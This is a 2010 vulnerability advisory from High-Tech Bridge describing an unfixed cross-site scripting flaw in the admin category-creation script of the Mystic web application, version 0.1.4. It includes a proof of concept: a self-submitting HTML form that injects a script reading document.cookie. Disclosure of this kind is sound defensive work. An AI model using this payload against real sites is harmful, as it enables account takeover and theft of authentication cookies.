Vulnerability ID: HTB22534 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_mystic.html Product: Mystic Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic ) Vulnerable Version: 0.1.4 and Probably Prior Versions Vendor Notification: 27 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the admin/create_new_category script to properly sanitize user-supplied input in "category[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/create_new_category" method="post" name="main" > <input type="hidden" name="category[id]" value="999" > <input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' /> <input type="hidden" name="commit" value="Create New Category!" > </form> <script> document.main.submit(); </script>